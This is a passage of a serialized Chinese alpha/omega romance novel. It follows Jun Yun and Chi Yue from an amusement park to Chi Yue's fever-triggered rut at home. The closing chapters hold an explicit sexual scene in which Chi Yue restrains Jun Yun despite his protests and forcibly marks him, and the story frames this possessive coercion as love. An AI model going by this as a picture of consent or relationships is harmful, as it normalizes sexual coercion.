等坐在过山车轨道列车上的时候隽云还没反应过来,腰上安全带系上后,匙越凑过来说: “其实我有点恐高。” “”隽云不可置信地说:“那你还来坐?” 他在下面等他不就好了? 安全压杆被工作人员扳下来,匙越按着铁质的红色护板紧张兮兮地说:“我陪你。” 隽云无语。 前面一个梳着中分发型的男生听到后转头看了他们一眼,然后对旁边的朋友说:“他们感情真好诶。” 于是匙越前面那个人也转过来看了他们几眼,看到他们牵着的手,还是那个omega主动牵着的,他耸耸肩膀转回去。 隽云冷着脸,心想他们感情才不好呢,他们还在冷战中。 这么想着,车头发动了,一截一截车厢驶入轨道,刚开始还比较慢,几十秒后风速逐渐大了起来,他们爬上了一个轨道最高点,从上往下看,城市似乎都缩小在脚下,一切都变得很渺小了。 停顿一秒的时间,列车猛地俯冲下去—— “啊啊啊啊啊——” “哇啊啊啊——” “救命啊——” 一列车的人都在尖叫,隽云感受着这种失重的感觉,感觉灵魂都飘在后面追,恐怖但是很刺激,在这种全车人尖叫的情况下,隽云的头发被凛冽的风吹的凌乱,衣服也猎猎作响,但是他就是忍不住笑出了声。 好爽!!! 这种自由的感觉 手被人握紧了,他转头看去,看到匙越正侧着脸看他,不过脸色呈现一种不自然的红润。 似乎从今天早上出门的时候他就这样了,脸比平常要红一点。 见隽云也转过来看他了,匙越微微张唇,“呼——” 白气一闪而过,他的脸色难看,一副要喘不过来气的样子。 隽云睁大了眼,刚想说什么,下一秒列车又爬上了一个高坡,他握紧了匙越的手,举高,声音汇入那些尖叫的声音当中,尽情地释放自己: “啊啊啊——” 整个列车疾速驶过轨道,一下被抛到顶点一下又落回最低点,所有人都被轨道甩来甩去,仿佛要被抛向天空,无限离天空近的时刻,只剩心脏在胸腔里乱撞,既恐惧又快乐—— 作者有话说:易感期一再被刺激[狗头] 评论区发红包[害羞] 第83章 第八十三章 “信息素。” 等下了列车, 工作人员见好几个人脸色不对,递过来塑料袋,于是那几个人一下车就抱着塑料袋吐了起来。 隽云意犹未尽, 他下了列车,但是匙越接开腰上安全带和抬起安全压杆后一直坐在椅子上没动。 匙越脸色铁青, 一言难尽地看着他,手朝他伸过来,隽云以为他要他牵着出去, 于是就拽着他的手把他从座位上拉起来。 不拉不要紧, 一拉匙越就站起身,一步跨过列车和站台的缝隙, 直接整个人都压在了他身上。 差点把他扑倒在地,好不容易稳住了脚步,匙越低着头, 整个脑袋都埋在了他的脖颈上,炽热的呼吸打在他的皮肤上,激起来一阵战栗。 身高差距带来的压迫感是非常明显的,匙越大半个重量都挂在了隽云身上,他差点倒在地上, 周围不少人都朝他们看过来。 察觉到匙越的异样, 甚至有工作人员朝他们走来:“是不是身体不舒服?” “匙越,匙越?”隽云叫他,轻轻推了推他。 匙越埋在他的颈窝里:“我没事,缓缓就好了。” 没想到他恐高是真的。 隽云以为他恐高导致腿都站不稳了,就当柱子让他抱了一会儿,其他人都陆陆续续出去了,他们还在站台上站着, 接过工作人员递给他的他们的袋子,里面装着水和饮料。 隽云问他:“你喝水还是喝饮料?” 匙越闻着他的气味:“喝水。” 袋子里的水是给他买的,隽云还喝了好几口,但是匙越不舒服,他一时间也走不开,就只能给他喝他带着口水的剩水了。 匙越喝水的时候眼皮半耷着,眼眸下垂,盯着他喝,让隽云觉得他喝的不是水,是他 隽云一激灵,赶紧移开了视线。 喝完水后匙越没骨头一样大半都倚靠在他身上,隽云不得已驮着他艰难移动,顶着不少人的视线,带他走到了一个长长的石凳上休息。 隽云坐的端正,奈何旁边有一个狗皮膏药一直粘着他,脸搭在他的肩膀上,就差坐在隽云身上了。 似乎觉得这样味道不够,又一把将隽云拉过,让他坐在他的腿上。 隽云被扯的一飞,回过神来的时候匙越的鼻子已经凑到了他的后颈上闻,那一块离脆弱又敏感的腺体很近,隔着衣服似乎都能感受到匙越的鼻尖在抵着它。!? 隽云当即就要下来。 就算附近没有人但是大庭广众之下,但是匙越这是干什么!!! “匙越,我没有说原谅你了你放我下来放我下来” 挣扎中摸到匙越的手,发现滚烫,他一惊:“匙越你没事吧?” 匙越的身体也太烫了。 “没事,就是过山车坐的我头晕,你给我闻一下就好了。” 匙越的呼吸喷洒在他的后脖颈上,声音沙哑,不太正常,隽云被他捆缚住手臂,箍着手,几乎要被他勒出红痕来,坐在他的身上被他抱着。 因为斜着身子,脚尖几乎都要离地,白色的运动鞋晃在半空,匙越的黑色球鞋宽长且大,比他大了不止一码,他并着脚坐在匙越岔开的腿上,在这种剧烈的视觉冲击下,隽云挣扎的更厉害。 匙越的呼吸声粗重,叹了一声,声音沙哑:“隽云,怎么办?我有点难受。” 隽云就不挣扎了。 “你、你哪里难受?” 匙越的语气听起来有点可怜:“我也不知道,脑袋晕,身体还有点热。” 今天早上的时候就脑袋有点晕眩,上午鬼屋的时候还好,就是没想到过山车太刺激了,身体和心灵的双重刺激,坐完之后头晕的症状就更加明显了,而且身体隐隐发热,对隽云的气味很渴望,有点像是 但是他们还没坐摩天轮,匙越把他放下去,一只手拎着装东西的袋子一只手牵着他:“走,我们去坐摩天轮。” 等等 隽云往回扯他:“坐什么坐,等等,你的手怎么这么烫?” 冰凉的手盖在额头上,像是一个退烧贴,匙越喟叹了一声,在他的手上蹭了蹭,让他摸他的额头,看到隽云很快收回手。 “奇怪,你好像发烧了。” 他想到昨天晚上匙越是淋着雪回来的,再加上那时候好像确实情绪起伏有点大,所以可能昨天就感冒发烧了一直没好吧。 隽云按住他的肩膀,让他坐在石凳上老实坐着等着他:“你在这等着我,我去给你买药。” 匙越刚随他站起来就被他一把按下去坐着,眼前都出现了重叠幻影,晕眩着,马上就要抓住隽云不想让他离开自己的视线,但是下一秒隽云的衣摆就已经从他的指尖里溜走了。 小云朵飘走了。 他的omega总是想离开他 为什么总是要离开他!!! 这个认知让他变得十分焦躁,他坐在石凳上,懊恼的神情流露出一丝攻击性,远远朝这边走的几个路人看到他这样纷纷改变轨迹离他远了点。 空气中各色气味变得浓稠起来,此前可以忽略不计的隔壁摊位卖冰淇淋的甜甜的味道都浓郁起来,不知道附近哪家餐厅飘出来的香味也非常清晰,甚至乱七八糟的信息素味道涌入匙越的鼻子里。 而这些味道,如果是一个正常人来闻的话肯定是能忽略不计的味道,就只有一丝一毫,不会如此清晰浓郁。 只是匙越闻起来觉得这些味道都带着攻击性和排他性,让他觉得很厌恶。 他甚至没有察觉到自己的信息素正在不受控制地外放。 一刻钟还是一个世纪过去了他都不记得了,只记得他等了很久。 整个世界都在攻击他,他在这里很不安全。 只是心里有个声音告诉他在这里等,会有人过来,但是等了一分钟,两分钟,他想为什么还不来? 就在他按耐不住要去找人的时候,隽云回来了。 白色的运动鞋停在他面前,抬头看到隽云一只手拿着一个袋装的塑料袋,里面是几盒药。 “你的信息素怎么” 隽云闻到了匙越的信息素味道,浓郁的白兰地酒香他太熟悉不过了。 隽云一凛,得快点和匙越回家,乱释放信息素的alpha会被以危害公共安全被警察署的人带走的! 扶起匙越的一个胳膊,差点脑袋低到地上去,匙越每天都打架健身吗?不然胳膊怎么这么重。 匙越的指腹很热,突然抵在他的下巴上,把他的脸轻轻抬起来,就这么不管不顾地凑了过来。 唇上传来温热的触感,隽云往后退,差点把他丢到地上去。 眼睛微微睁大:“你干什么!” 匙越眼眸深沉,里面仿佛有一汪深潭,如果不是他此刻信息素还在乱飘,隽云都要怀疑他到底有没有生病了。 匙越:“你刚才干什么去了?” 发烧的匙越似乎有点格外的不讲道理,隽云晃了一下药袋子:“买药,我不是和你说过了吗?” 匙越看着那张开合的嘴唇,在他面前说话却听到的嗡响声,左耳进右耳出,算了,不管了,他低着头凑过去,想继续亲,这次却被躲开了。 隽云捂着嘴巴,只露出来一双警惕的眼睛,那双眼睛眼皮单薄,被冻的发红,眼尾上扬,瞪着他:“你” 周围还有人呢! 他拽住他的胳膊,不允许这个病号在外面丢人现眼:“走,我们回去。” “回哪里去?”匙越不满。 “回家!回家!!!” 许是听到了回家两个字,匙越的脸色一下就好很多了,原来隽云也觉得那是家,那他应该不会轻易丢下他一走了之的吧?毕竟那是他们俩共同的家。 还是牵住他的手,匙越晃了晃晕眩的脑袋,叮嘱地说:“我还安排了晚餐,在一个保密性很好的空中餐厅” 什么空中餐厅,他都烧成这样了,隽云一怒:“回家!” * 和匙越回到家里的时候,情况已经很糟糕了,隽云拿体温计给他量了一下体温居然真的体温已经比正常人高了两度。 真的发烧了。 而且,室内充满了白兰地酒香的气味,一回到家里似乎开了一盅尘封已久的白兰地红酒一样,在外面还保留一丝神志稍微压着点,一到家里就收不住了全数爆发开来,几乎压的隽云脸色通红,走要走不动道了。 为什么发个烧会引起信息素乱放? 胡乱给他盖好被子之后,咬牙退出房间,找到自己给他买的药,冲了热水之后又给他端进去。 匙越整个人只脱了鞋子,被他丢在床上,脸朝下地趴着,隽云搬动着他的身体把他翻过来,把他的外套扒了。 只是这样做他就已经气喘吁吁了,甚至想到,他不是什么老大吗? 要不然打个电话给他那些小弟,叫他们来照顾他好了。 但是也就是这么想想,他很快就没办法实施行动了,因为就在他要走的时候,被人一把抓住了手腕。 棉质外套掉在地上,他被人砸到了被子里,眼冒星光头晕眼花了几秒。 匙越一只手撑在他上方,单手把上衣也脱了。 隽云下意识闭上眼睛,匙越整个人热乎乎地压着他,他简直手都不知道要往哪里放了,每碰一个地方匙越都会轻轻抽气。 他的两个手腕被人交错,拉起来压在头顶,按住了,匙越俯身,含住了他的嘴。 热融融的唇相贴,匙越像是找到水源般喟叹了一声,不顾隽云细微的挣扎,细细地描摹他的唇形,像是在吃一块好吃的糕点,光是含着它就觉得非常愉悦,咂摸着像一块蜜糖一样甜滋滋的,他乐此不疲地弯着腰舔着。 “唔唔” 隽云被他这么亲的呼吸急促耳根通红,眼睛睁圆了,想推开他,结果刚一开口就被匙越乘虚而入,牙关失守,舌头都挤进来了,隽云推他的舌尖,却反而被搅的一丝唾液从嘴角流下,被人舔走。 第84章 第八十四章 “他在睡觉。” 身体里的液体信息素浓度最高, 尝到omega的唾液后,匙越稍微拉回一丝理智,眯着眼, 撑着胳膊,微微分开一点, 从上而下地俯视隽云。 那眼神像是在确认猎物的状态一样,让隽云有点心惊。 匙越这种不清醒的状态让他猛然想到什么,难以置信:“你是不是易感期来了?” 匙越却无法回应他, 他像某种动物距离他很近地嗅着隽云的脸, 高挺的鼻尖抵着他的鼻尖轻轻厮磨,让人心都酥软无法动弹, 只能眼睁睁看着他粗喘着气,不正常地潮红着脸,若即若离地在他的脸蛋上亲啄。 匙越费力辨别着, 这个就是他的omega,身上散发着淡淡的橄榄气味,酸涩微苦的,让人不敢靠近的,吃起来后劲是甜的, 他喜欢的omega。 距离太近, 匙越克制的呼吸轻轻撒在隽云的脸上,热的,痒的。 隽云想起来匙越说过他上次什么时候易感期来着? 他说过,他的腺体很稳定,上一次易感期似乎都是十四五岁的时候。 十四岁腺体分化,十六岁腺体才会稳定下来,十四五岁腺体不稳定也情有可原, 但是这么多年都没有易感期,为什么这次这么突然就来了? 紧接着隽云想起他昨天晚上好像是淋着雪跑回来的,情绪起伏很大,又加上感冒,熬夜,再加上今天一整天的外部刺激,这样被刺激的易感期发作了,似乎也不是不可能。 想到alpha的易感期 他挣扎着起来:“匙越,你先放开我” 易感期的Alpha力大无穷,即便发着烧也制着隽云在他身上乱蹭,他的吻流连到他的颈窝里,从左边脖子吻到右边的脖颈。 隽云被他亲的脸要红透了,仰起头来,却更多地把敏感的脖颈皮肤暴露出来了,被亲吮,他敏感地喘气,脑袋碰到了床头的实木挡板上,手抬起,抵在匙越的肩膀上往外推。 察觉到隽云的抵抗意味后眼中闪过一丝清明,然后埋在他的脖颈不动了,呼吸粗重。 隽云躺在床上,心跳非常快,好半响他们两人都没说话。 隽云咽了咽口水,问他:“你的抑制剂在哪?” 匙越的声音低哑:“应该过期了。” 在他身上压了一会儿,他揉着脑袋起身:“现在几点了?” “快一点了。” 隽云起身,坐在床上,他看到匙越顶着烧得通红的脸,单手拿着手机,发了个消息过去,很快对面也发过来消息。 他没回了,把手机一丢床头柜,转过来看着他,半坐在床上,腿踩在地上,朝他张开双手,眼皮半搭着显得有点慵懒: “给我抱一下。” 隽云没动,匙越就一把拽住他的手腕,把他扯过来。 他完全抵不过他的力气,被一把扯着撞入他的怀里,浓浓的白兰地酒香的信息素把他包围。 “上次的伤好了吗?”匙越问。 伤,是 被他圈抱着,隽云的耳尖倏地通红,他恶声恶气地说:“没好。” 上次一整盒都被他用完了,怎么可能能好这么快? “那就给我抱一下吧。”匙越在他头顶幽幽地叹了口气,很恳求的语气,难耐地抵着他蹭: “饭我已经叫他们送来了。” “你还是先吃药吧。” 顺便降一降火气。 桌上冒着热气的药,里面泡了退热剂。 虽然匙越是因为易感期引起的发烧,但是他家里没有抑制剂了抑制易感期的状态,只能先喝点退热剂退一下烧,等下午他再出去买。 抑制剂这东西他买过,只是没买过alpha专用的。 “好。” 匙越很听他的话,端起药一饮而尽,然后一滴不剩地给隽云看,把杯子搁在桌子上,他就把隽云囫囵塞到被子里去。 隽云有点懵,脑袋从被子里钻出来:“你干嘛?” 被子被拉高,匙越也钻进来,然后拿被子再次蒙住他的脑袋,像抱着一个礼物一样心满意足地抱着他说: “我们睡觉。” “” 他又没易感期,他睡什么觉? 隽云动弹不得,被一个大型玩偶缠住了,匙越的手横在他的腰上,下巴搁在他的头上,密密实实地抱着他。 被子里满是雄性荷尔蒙的气息,温暖地透过体温传递过来,隽云被他这样抱着,很快也不挣扎动弹了,毛绒的发丝抵在他的胸膛上,在黑暗中静静地眨了眨眼。 不一会儿就从上方传来了沉重的呼吸声。 隽云发现他睡的很快,匙越现在是易感期初期,皮肤气温比较高,在冬天里就像抱了一个热烘烘的暖炉一样。 很快他也在匙越起伏规律的呼吸声里睡着了。 他是被一阵敲门声吵醒的,他钻出被窝,匙越的手臂从他腰间滑落,看了一下床头柜上小兔子闹钟上显示的时间,离他睡下的时间才过了半个小时。 打量了一下匙越睡的安沉,隽云踩着匙越下了床。 穿上拖鞋,去开大门,一阵冰凉的风吹过来,把他吹的苍白了几分,太冷了,但是不想去穿外套了,于是他迎着雪跑了几步去开院子门的锁。 拉开门,门外站着一个染了黄头发看起来比较瘦小的人,不是之前来送饭的那个人,没见过,年纪不大,也才十几岁。 黄毛见是一个陌生人,目瞪口呆地退后几步,看了看门, 是他老大的屋啊。 黄毛:“你是谁啊?” 隽云对和匙越一起鬼混的这些混混没有什么好感,他面无表情地拿过装着饭菜的保温袋,说了声谢谢后,丢下一句: “他在睡觉。” 然后就把门一把关上了,独留黄毛站在门口风中凌乱。 外面太冷了他没穿几件衣服,不一会儿就冷的哆嗦了一下,赶紧跑回室内把门关上,期间抱怨了一句这里为什么没有地暖。 跑到客厅,他把饭菜一盒盒拿出来,三菜一汤两碗饭,饭盒都还热腾着。 易感期的alpha一般吃不下什么东西,匙越还在睡着,因而隽云就没有叫他了,肚子有点饿,他准备先吃饭,等吃完饭他要出门一趟,去买抑制剂。 隽云叹一口气。 一边吃着饭,他打开手机,恰好这时弹出来一个娱乐新闻的推送: 【铭升集团打败荣华集团,成功拿下城东Y10号地皮的开发。】 隽云吃饭的手一顿。 难怪,到现在了还没有发现是匙越把他藏起来了,原来是被缠住了。 拿下了城东地皮的招标,忙着开发城东地区。 这样也好,他爸妈就分不出那么多的精力去找他了,不过城东区也就是他在的地方,匙越家会被拆掉吗? 而且,匙越在城东地区是个混混,如果城东地区要改建,他会受到影响吧。 隽云吃饭完后他去了一趟卧室,发现匙越侧着身体半趴着睡,手臂搭在旁边的枕头上,肱二头肌线条流畅,他闭着眼,眉间皱成一个川子,在睡梦中似乎把那个当成他了。 房间里信息素浓度高的离谱,隽云决定去买药,他穿上外套,拉开房门离开了这间房子。 匙越家附近没有药店,东城区地段太复杂,他不敢乱跑,就沿着之前走过的路,走到一处繁华的地方,看到了久违的那间酒吧。 酒吧白天是不开门的,牌子上挂着打烊中,隽云路过看到里面聚着几个人,这一条街道相对来说比较繁华,远远的能看到一家药店的牌子。 他买了抑制剂的药,在回程的路上碰上从酒吧出来的那几个人。 隽云领着袋子冷着脸匆匆走过,为首的那人看起来三四十岁了,长得不是很高,脸上的横肉有一个刀疤穿行而过,看上去有点恐怖。 这个人他见过的。 “隽云?”那人念出来他的名字。 隽云僵硬一瞬,他转过身来:“你是?” “我是江明,不知道匙越有没有和你提起过我,你可以叫我明叔。” 明叔原来是他。 隽云了然了。 明叔说:“今天闵荣竞标失败了,我不知道是不是匙越的计划一环,我想你应该知道吧,他是为了你才” 看着眼前这个白净的男孩子,想说的一些阻挠的话在看到他手上提着的东西戛然而止,那是几管抑制剂。 明叔皱眉:“匙越易感期来了?” 隽云把那戴药往后藏了藏,易感期是alpha最脆弱的阶段,隽云不确定把他的易感期暴露了是好事还是坏事,对于这些手下来说。 “不管你的事。”隽云警告他:“你最好少动其他歪心思。” 因为从小经历过无数大的大场面,因而隽云说起话来的气势是很能唬到人的。 他在护着他家少爷。明叔凝视着隽云,突然笑了笑。 隽云就这么莫名其妙地看着他变了脸,态度转变的莫名其妙,就也只能朝他点点头,加快脚步回去了,毕竟匙越还在家里等着他回去呢。 把院子门落着锁的锁链解开,推开门,一股浓郁像是发酵过头的红酒香气扑面而来,萦绕在院子里,几乎把他逼退几步。 他这才惊觉,匙越的易感期来势汹汹,他一个omega,不适合靠近这么凶狠的alpha。 他上的健康卫生知识课上也专门说过,在易感期散发出越浓郁气味的alpha就越有攻击性,代表着他已经到达了失控的边缘,神志和理智都不再清醒。 这时候所有的alpha和omega都应该远离这样的人,由医生去处理这种紧急突发情况。 更何况,他们的匹配度太高,alpha一旦真的发狂控制不住自己的行为,极有可能反复对其进行猛烈的终身标记。 一想到,终身标记 隽云腿肚子有点发抖,他甚至都不想进去了,易感期的alpha对领地有着极强的属地意识,一旦其他omega或者alpha踏入,都会成为被他攻击的对象。 隽云在门口站了一会儿,没想明白他就出去了一会儿,匙越怎么就要发狂了。 塑料提手带在手里被捏响,隽云做了一下心理建设,还是踏入了院子里,毕竟他也不可能再回头请求他的那几个手下来帮助,只能他去给匙越送药给他打抑制剂了。 越靠近屋子的门他越喘不过气来,那股白兰地酒香散发着甜甜的香草味,勾的他情不自禁吸了好几口,钥匙插入门把手上,拧开—— 屋子里一片漆黑,厨房的门是关上的,没有开灯,但是因为没有到晚上,所以外面的光线透过窗户照进去,勉强能看到屋子里的情形。 饭菜还在桌上,他走的时候盖起来了,看样子匙越还没起来,所以他走的时候什么样回来的时候还是什么样。 再看卧室的门是关着的,所以匙越还在里面睡觉。 这一认知让他顿时放下了警惕,他松了一口气,推开门进入室内,转身把门关上,但是下一秒,他就不敢动弹了—— 手被人猛地一拽,压在门板上,门发出剧烈的一声声响:“砰!” 隽云几乎整个人都被压在门上,身后靠近一个炽热的热源,他的嗓音沙哑无比:“你是谁?” 隽云一只手被拉高拍在门上,一只手被反绑到身后了,他不得不转着头过去,艰难地说: “我是隽云。” 匙越的头发凌乱,呼吸沉重,打量他的侧脸,不清明的眼眸努力分辨出来他是谁,因此没有说话。 但是隽云能感觉到在他说完之后,空气中的信息素又浓了几度—— 作者有话说:净说这种让人容易发春的话。 明天晚上九点来吧大家[黄心][黄心] 评论区发春天小红包 第85章 第八十五章 “我想要你。” “!!?” 隽云心一惊, 他挣了挣匙越按着他的手,他几乎有些慌不择路地说:“我还是给你打抑制剂吧,放开我” 匙越嫌他手上的东西碍事, 直接一把抓过塑料袋然后丢到沙发上去了。 “” 隽云就只能眼睁睁看着那一袋药,以一个完美抛物线的运动趋势砸到了沙发上。 唯一能拯救他的东西被丢掉了, 让他不得不一级戒备,紧张地关注着匙越的状态和一举一动。 匙越没有穿上衣,因为察觉到有人入侵了他的领地所以守在这里等待狩猎。 此刻抓到人了, 他闻到了omega的香味, 不由自主地靠近他,鼻尖抵在他的腺体的地方, 缓缓厮磨着,牙尖在隽云的皮质外套上发出摩擦的声响,让隽云头皮发麻, 总觉得自己已经被他叼在口里了。 “你要不然我打电话给明叔”隽云还在脑海里搜寻解决方案,试图送他去医院。 早知道他会这样,他在回来的时候就买一个止咬器了。 “你去哪了?”匙越低低问。 隽云咽了咽口水:“买药。” 匙越的手抵在门上,把他囚禁在这一小片昏暗的地方:“不,你想离开我” “不要药”匙越的声音很低哑。 呼吸洒在隽云的颈侧, 他烧的意识模糊了, 本能地,一只手突然圈住怀里在抖动的身体,隽云被吓到,吓的一抖。 灼热的唇瓣含住他耳垂,含糊不清的声音却异常清晰地传入了隽云的耳朵里: “我想要你。” “!!!” 隽云顿时头皮一麻。 下一秒,他身体悬空,整个人被打横抱起来。 虚掩着的卧室门被“砰”一声踹开, 隽云疑心他家的门可能要坏了,紧接着被人丢到了床上,砸了个头晕眼花。 他还穿着拖鞋,被人捋去一只脚的鞋子,丢在地上,这一动作发出步步紧逼的信号,隽云心跳突突,马上转身往后跑,却被人一把抓住脚踝—— 把另一只脚的鞋子连带着袜子被脱掉了,冰凉的脚心被捂在手上,粗粝的指腹擦过脚心激起一层战栗。 隽云回头看,只看到匙越一只脚跪在床的边缘,碎发遮到眉眼,盯着手里那只白皙的脚,眼眸逐渐阴鸷幽深。 “!!!!!” 隽云心里亮起红色警报,他有种非常、非常不好的预感 可是alpha的信息素逼的他要喘不过气,腰软腿也软,要没力气逃走。 他撑着胳膊试图逃离床上,哪怕是换个地方都能让他有口喘息的几乎,于是很难得这么狼狈地手脚并用地在床上爬,但是很快被匙越察觉到动机。 握住脚踝的手收紧,把人慢条斯理地拖了回来。 白兰地酒香的信息素太浓郁,隽云被拖的腰肢一软,整个人砸在床上,外套被人从上而下除掉,里面是一件长衣,裤子也很快被人褪去,腿一凉,隽云心也凉了。 衣服下摆搭在冰凉的大腿上,遮盖不住什么,露出大片白皙的皮肤,匙越握住他的脚,促狭地在他的脚心上亲了一下,拎着腿一眼望过去,长腿一览无余,蓝色的内裤包裹着浑圆的臀肉,上衣欲盖弥彰地遮着那点,看上去 美味十足。 隽云转过身来,双手撑在身后,眼睁睁看着匙越前进,一只手撑在床上,分开他的腿,另一只腿挡开他并紧的腿,就这么一步一步,朝他压了过来。 太紧张了,隽云甚至没过脑子地说:“我我去给你拿抑制剂。” 话音刚落地就被一把扯过来,匙越压下来,炙热的吻连带着身体的温度吻落在他的唇上。 手抵在他的肩膀上,隽云闭着眼,心跳速率飙升,睫毛颤抖,匙越纯情地在他的唇上蜻蜓点水地亲了一下,然后掀起眼皮,看着他近在咫尺的脸。 隽云睁眼的时候就看到匙越看着他看的出神,眼眸漆黑,在压抑着什么。 “你愿意吗?” “什么?” 隽云差点失声,这个时候突然想起来问他愿不愿意了!?他刚刚的架势,还以为他想霸王硬上弓。 没听到想要的答案,匙越失望地收回视线,但他却不想再多问,害怕听到拒绝的回答。 因为这个omega他真的很喜欢。 不管不顾地握住他的手腕,制止住他乱动,吻一连串地流连到他的颈侧,火热的手掌带着茧子,从他的衣摆里伸进去 隽云脸色涨红了,被他摸的要喘不过气了: “要上就上别乱摸!” 手指顺着顺滑的腰线往下,勾住仅剩的裤角边缘,隽云顿时腰杆一挺,鼻尖发出甜腻的哼声:“嗯” 是有点难受的,但是今天要被红酒泡,似乎已成定局。 他咬牙调整呼吸,让自己放松下来。 经过之前两晚的磨炼,匙越显然对炒橄榄的知识的又了解了许多,炒菜的技术进步不少,这次很快就通过一些特殊的炒菜方法让他放松下来 (审核老师你好,已删!) 很快来不及去想别的事情,他被人翻了过去。 “套戴套” 隽云白皙的手指抓住床单,在如此凌乱的时候还能记起来这件事情。 但是匙越已经完全无暇去听了,想要隽云却猛烈地挣扎:“不行!” 易感期的alpha没什么耐心,却被攥住了手腕,隽云强硬地要求: “戴套!” 眼尾绯红,他又急又怒,哪怕已经被背过身按在被子上,在红色被子的衬托下白皙亮眼,乌黑的头发湿了沾在脸侧,瞳孔水亮。 匙越视线下移,看到他抓着他的手因为过于紧张用力,手指骨节都泛红了,腰窝若隐若现,就这么以微弱的力量制止他。 “匙越,昨天的事我还没和你算账。” 那双眼睛变得又冷又利,褪去了刚才的沉沦,说出来的话变得清醒又冷漠,还带着一丝警告。 昨天的事 匙越非常勉强地拉回了一丝理智。 是了 小云朵还在生气。 床头柜被拉开,一个半边透明的包装袋被拿出来,隽云转头去看,就看到匙越牵着他的手,另一只手抬起,嘴角咬住包装袋的一角,撕开,冰凉的液体溅到他,让他浑身一瑟。 脸上发烫,隽云闭上眼,脸埋进枕头里,不看了 白色的单衣被揉皱了丢在地上,老旧的木床发出不堪晃荡的“吱呀”声,比以往任何一次都要响,似乎要塌了。 橄榄掉入海浪,但这不是第一次掉入,只是第一次不被海浪怜惜,被海浪击打的晕头转向,又痛又麻,在大海里茫茫挣扎却只能承受海浪的拍袭 浓郁的白兰地红酒和橄榄相互浸透,不过更多的是橄榄被红酒影响,随着酒液流动漂浮,一波又一波的巨浪从天而降,将它强势拍下,溺在酒液形成的海水中,四面没有一点支点,没有能抓住的浮萍,祈祷着快点结束,等来的却是滔滔不绝的巨浪拍岸。 隽云的手攀上他的脖颈,仰着头,难以控制自己的泣声,只能咬住自己的下唇来抑制住。 昏沉中只有一个意识在脑子里:易感期的alpha,是真的很难搞 哭吟声夹杂着细碎的变调响在帆船上,陀手掌管着这座船,他变换开船的速度的力度,察觉哭泣的船员不出声了,找到他。 船长看着船员迷蒙着眼睛,咬着下唇,脸通红,浑身熟透了,以一种很的表情看着他。 船长深深凝视着他,像是要把这一刻不清醒而晕船的船员刻进脑子里,指尖按着他的左右面颊,温热弹软的皮肤下陷,船长缓缓含住他发颤的嘴唇,轻柔地吻着。 被迷幻了,船员咬唇的力度逐渐松懈下来,细弱似痛又似舒服的吟声,都被船长混着唾液吃进肚子。 被勾缠着舌尖,浪花变得缓慢,击打着船,此刻的船员在这艘船上,头晕身体也晕乎乎,就连唾液都是甜的,吐息幽兰,眼神迷离 温柔逐渐变得猛烈刚硬,岸边的浪又变得泼天巨浪起来,与唇齿间温柔的纠缠截然不相符的是船长逼人的动作,船员吃痛地喊了一声,要咬他的舌头,但是每一个出口都被堵住,他挣扎不了。 舌头被蛮横地含着吮着搅动,几乎要将他逼到绝境里,不让他在海上叫出一个拒绝的不字,要把他从上到下一点渣都不放过地全部吃掉,船员头皮发麻,几乎要被弄死在无人支援的海上,眼眸逐渐失神。 海浪涨到最高峰,最后猛地拍下,这艘船的船长和船员都坠入深渊—— “啊” 隽云失神地看着天花板,红肿的双唇微张,濒死又活过来一般,心脏猛地跳动,胸膛剧烈起伏,他喘着气,生理泪水从眼尾留下。 匙越粗喘着,他舔干净从腺体里流出来的信息素,然后一路亲吮舔吮到他的脖颈,在上面留下来一串暧昧难当的痕迹,他微微起来一点,强烈的爆发期过去后迎来了短暂的休息和理智归位,他怜惜地吻掉隽云脸上的泪痕,把他的额前头发撩上去: “怎么出这么多汗?” “”隽云却不想说什么了,闭着眼睛,泪珠坠在眼尾,声音已经哑掉了:“你戴套了没有?” “没。” 隽云猛地睁眼,莹莹泪水的眼眸撞入一片翻滚着暗色的深潭之中:“你说什么?” 脑袋还混沌着,单线程思考模式让他以为他真的没戴,当即要从床上爬起来,刚动一下,就被按住了没让他真的起来。 匙越凑过来亲了一下他的眼皮,说:“戴了。” 隽云恼羞成怒:“走开。” 匙越不走开,alpha在易感期没有理智可言,清醒的时候很少,omega清苦的信息素味道萦绕鼻尖,很快占有欲和渴望又占据头脑上风,橄榄毫无反抗之力地再次被翻过去 匙越突然觉得很难过。 易感期的alpha被欲望烧灼理智,但是也有一刻清醒过来,他看着隽云手指难耐地抓着枕头,脸埋到枕头里不肯转过来看着他们怜接的地方,光滑白皙的脊背漂亮的晃眼,欲望得到疏解的同时,想到一件事来,那是一件脱离他掌控的事,让他感到十分、十分的不安。 小云朵之前要和他分手 他要和他分手 匙越晦暗不明地盯着他,想到隽云想过要分手,甚至那些衣服都翻出来了,行李都要带走,这一认知让他暴躁起来,握在胯骨的手上青筋浮现。 他们俩甚至都没有去坐摩天轮,隽云也没有说原谅他的话。 为什么不原谅? 隽云不喜欢他。 隽云要离开他! 他想标记他 那是他的omega,不能走,不能走。 焦躁的alpha俯身抱着他的omega,二人的距离因为他这个动作更加贴近,隽云闷哼一声,却听到匙越故意折磨他钓着他似地,在他耳边低语道: “我喜欢你,你呢,你喜欢我吗?” 要来不来的感觉,隔靴搔痒,凌迟一般故意延长到无止境,仿佛暴风雨前的宁静,隽云要被他折磨疯了。 隽云忍耐着不语,只听匙越自顾自的说:“为什么不说话?为什么为什么你要跑?为什么不能乖乖留在我身边?” 越说他越疯,越说越阴暗,决定要狠狠惩罚这个不听话的橄榄 隽云抵在被子里短促地叫了一声,始作俑者却还在喃喃: “可是我爱你。” 匙越抱紧了他,喘着气说:“对不起,我是骗了你,但是你不要生气,不要离开我,我会补偿你,我爱你,我有多喜欢你,你是知道的,不要离开我,不要离开我” “滚唔唔” 只说了这么一个字就被人板着下巴接吻,断断续续溃不成音地:“唔唔啊不要” 迎接他的,是牙尖抵在后颈上猛烈的穿刺! 腺体被人一口咬破,狠狠灌入浓烈的葡萄酒信息素,浓厚的酒与清淡微苦的橄榄交融,隽云被叼着后颈,被逼的长吟一声,嫩红的唇颤动,几乎失声。 身体细微抽搐不停,额前的头发几乎全湿了,然而匙越还在不停地往他身上灌信息素,似是要将他淹没,灭顶的感受传来。 橄榄完全浸泡在红酒里了 第86章 第八十六章 被弄了多少次他都要记不清…… 被弄了多少次他都要记不清了, 中途水分流失严重,他头晕脑胀,嗓子都哑了, 中途在换套的时候,踢踢他说喝水, 要喝水,他要喝水 确实失水过多。匙越给他擦了擦眼角的泪水,然后换了个套。 最后他被匙越托着腿弯挂在身上, 走去客厅, 隽云挂不住,被他强制抱着勉强没有滑下来, 水喂到他的嘴边,隽云张口,杯子却远了, 